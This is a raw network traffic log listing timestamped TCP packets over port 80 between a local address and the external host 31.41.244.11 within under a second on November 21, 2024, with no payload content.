Nov 21, 2024 14:11:17.321758032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.321787119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.321799994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.322626114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.322671890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.322679996 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.322691917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.322726965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.323462009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.323503971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.323556900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.323569059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.323596001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.323606014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.324382067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.324398041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.324410915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.324430943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.324450016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.325212002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.325253963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.325267076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.325299978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.326071978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.326124907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.326137066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.326149940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.326183081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.326977015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.327018976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.327027082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.327038050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.327075005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.327840090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.327887058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.327892065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.327909946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.327931881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.327960968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.328715086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.328774929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.328778028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.328785896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.328823090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.329587936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.329632998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.329664946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.329675913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.329706907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.330462933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.330504894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.330509901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.330523014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.330550909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.330562115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.331383944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.331433058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.331446886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.331459045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.331509113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.331558943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.332185984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.332302094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.502902031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.502964020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.502990961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.503063917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.503114939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.503140926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.503153086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.503197908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.503268957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.503942966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.503997087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.504008055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.504025936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.504040003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.504650116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.504694939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.504707098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.504743099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.505539894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.505589008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.505600929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.505640984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.506419897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.506464005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.506470919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.506477118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.506525993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.507283926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.507302999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.507322073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.507330894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.507363081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.507473946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.508182049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.508230925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.508244991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.508255959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.508296967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.509064913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.509105921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.509118080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.509181023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.509934902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.509984970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.509996891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.510049105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.510080099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.510838032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.510848999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.510859966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.510895014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.510920048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.511693001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.511740923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.511744022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.511754990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.511986971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.512541056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.512584925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.512590885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.512597084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.512629032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.513437986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.513474941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.513485909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.513531923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.514338017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.514383078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.514388084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.514395952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.514450073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.515234947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.515248060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.515259027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.515295029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.515311003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.516104937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.516143084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.516155005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.516155958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.516194105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.516964912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.517011881 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.517019033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.517025948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.517251015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.517834902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.517899990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.517911911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.517954111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.518754005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.518806934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.518837929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.518850088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.518882036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.519568920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.519634008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.519645929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.519690037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.520472050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.520546913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.520558119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.520601988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.521420956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.521431923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.521442890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.521477938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.521505117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.522226095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.522279024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.522504091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.522563934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.522577047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.522622108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.523391962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.523447037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.523474932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.523507118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.523519993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.524275064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.524367094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.524379015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.524439096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.524518013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.525168896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.525218010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.525228977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.525269032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.525281906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.526123047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.526168108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.526175976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.526176929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.526215076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.526942968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.527041912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.527051926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.527080059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.527091980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.527777910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.527826071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.527827024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.527838945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.527894020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.528667927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.528722048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.528734922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.528744936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.528795958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.529553890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.529608011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.529619932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.529660940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.530422926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.530484915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.530495882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.530539036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.531297922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.531353951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.531383991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.531395912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.531429052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.532152891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.532205105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.532207012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.532217979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.532284975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.533128977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.533155918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.533166885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.533210993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.704593897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.704608917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.704621077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.704670906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.704992056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.705075979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.705081940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.705087900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.705115080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.705127954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.705737114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.705831051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.705857038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.705869913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.705908060 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.706655025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.706715107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.706724882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.706729889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.706769943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.707539082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.707582951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.707598925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.707611084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.707640886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.708441019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.708457947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.708470106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.708498955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.708512068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.708512068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.709265947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.709307909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.709321976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.709333897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.709532022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.710161924 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.710180044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.710191011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.710216999 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.710230112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.711097002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.711146116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.711158037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.711190939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.711236954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.711946964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.712012053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.712022066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.712045908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.712071896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.712071896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.712762117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.712810993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.712821007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.712822914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.712842941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.712852955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.713651896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.713681936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.713694096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.713758945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.713809013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.714627028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.714638948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.714649916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.714673996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.714701891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.715399981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.715470076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.715481997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.715514898 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.715532064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.716278076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.716322899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.716335058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.716379881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.716392040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.717202902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.717242956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.717255116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.717295885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.717314005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.718056917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.718106031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.718107939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.718118906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.718168020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.718909979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.718970060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.718978882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.718981981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.719017982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.719801903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.719854116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.719882965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.719894886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.720005989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.720757008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.720776081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.720797062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.720833063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.720844984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.721613884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.721662998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.721677065 CET	80	49876	31.41.244.11	192.168.2.6
